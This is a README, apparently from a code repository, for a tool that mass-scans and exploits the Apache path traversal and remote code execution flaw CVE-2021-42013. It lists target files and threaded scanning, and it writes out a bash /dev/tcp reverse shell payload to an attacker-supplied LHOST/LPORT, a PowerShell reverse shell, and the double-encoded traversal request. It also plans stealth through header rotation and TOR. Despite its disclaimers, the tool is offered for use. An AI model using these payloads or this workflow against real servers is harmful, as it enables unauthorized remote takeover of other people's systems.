POC-CVE-2021-42013-EXPLOIT

# 🔥 CVE-2021-42013 Exploit Framework by Makaveli

> 💀 Multidimensional Cosmic Hacker Mode activated...

An advanced scanning, exploitation, and remote interaction tool designed to detect and exploit the **Apache Path Traversal + RCE (CVE-2021-42013)** vulnerability in misconfigured servers.

---

## ⚠️ Legal Warning

> This software is provided solely for educational and research purposes in controlled environments.

Using this tool against systems without express authorization may be illegal and constitutes a crime in many countries.

The author is not responsible for any misuse of this code. Use it at your own risk and always with explicit permission from the target system owner.

---

 🧠 Technical Description

This tool allows:

- ✅ Scan multiple targets from a `.txt` file.
- ✅ Automatically detect the presence of CVE-2021-42013.
- ✅ Identify the remote operating system (Linux or Windows).
- ✅ Send custom payloads based on the detected system.
- ✅ Establish a reverse shell and gain remote access.
- ✅ Interact with the shell in real-time using an integrated listener.
- ✅ Enjoy advanced logs, progress bar, and interactive menu.

---

## 🔧 Requirements

- Python **3.8+**
- Unix/Linux/MacOS based systems (use of `subprocess` and `curl`)
- Requires the following Python libraries:

```bash
pip install -r requirements.txt
```

**`requirements.txt`**

```
rich
alive-progress
```

You also need to have `curl` installed on the operating system.

---

## 📁 File Structure

```
.
├── POC-CVE.py       # Main script
├── logs.txt              # Automatically generated log file
├── requirements.txt      # Python dependencies
└── targets.txt           # (Optional) List of URLs to scan
```

---

## 🚀 Interactive Usage

```bash
python3 POC-CVE.py
```

Select from:

* `scan_file`: Scan multiple URLs from a file and show which are vulnerable.
* `exploit`: Direct exploitation of a single target, with reverse shell.
* `exit`: Exit interactive mode.

---

## 🔍 Mass Scanning (scan\_file)

1. Create a file with a list of URLs, one per line:

```txt
http://example.com
http://victim.net
http://192.168.1.100
```

2. Start the scan:

```bash
python3 POC-CVE.py
```

Choose `scan_file` and provide:

* The file path
* The number of threads for parallel scanning

---

## 💥 Exploitation (exploit)

1. Choose `exploit` from the menu.
2. Enter:

* The target URL
* Your local IP (`LHOST`) to receive the shell
* A free port (`LPORT`) for the listener

The script:

* Will detect if the target is vulnerable.
* Will send an appropriate payload based on the remote operating system.
* Will open a **listener** and provide you with interactive access.

---

## 🧪 Payload Examples

### Linux Payload (Bash TCP Reverse Shell)

```bash
bash -c 'exec 124<>/dev/tcp/LHOST/LPORT;sh <&124 >&124 2>&124'
```

### Windows Payload (PowerShell TCP Reverse Shell)

```powershell
powershell -NoP -NonI -W Hidden -Command ...
```

---

## 🧠 Techniques Used

* Path traversal with double encoding (`/.%252e/.%252e/.%252e`)
* Command injection via `curl`
* Evasion headers (`User-Agent`, `Accept`, etc)
* Reverse shell for remote control takeover
* Multithreading and progress bar (Alive Progress)
* Logging with timestamps and Rich Console

---

## 📌 CVE Reference

* **CVE-ID**: [CVE-2021-42013](https://nvd.nist.gov/vuln/detail/CVE-2021-42013)
* **Attack vector**: `GET /cgi-bin/.%%32%65/.%%32%65/...`
* **Impact**: RCE (Remote Code Execution)
* **CVSS Score**: 9.8 (Critical)

---

## 🧙‍♂️ Author

* ✨ **Makaveli** — *"Hack your own reality"*

---

## 🛡️ Disclaimer

> This project is provided "as is", without warranties or liability for damages arising from its use.
> **Never scan or exploit a system without the explicit consent of its owner.**

---

## ✅ Good Practices

* Use this script only in **laboratory environments** or authorized tests.
* Make sure the port defined for the listener is **open** and **firewall-free**.
* Run as a normal user (not root), unless strictly necessary.

---

## 🧩 Future Roadmap (Optional)

* [ ] Support for custom payloads
* [ ] Export results to CSV/JSON
* [ ] Stealth mode with header rotation and TOR proxy
* [ ] Local web interface (Flask)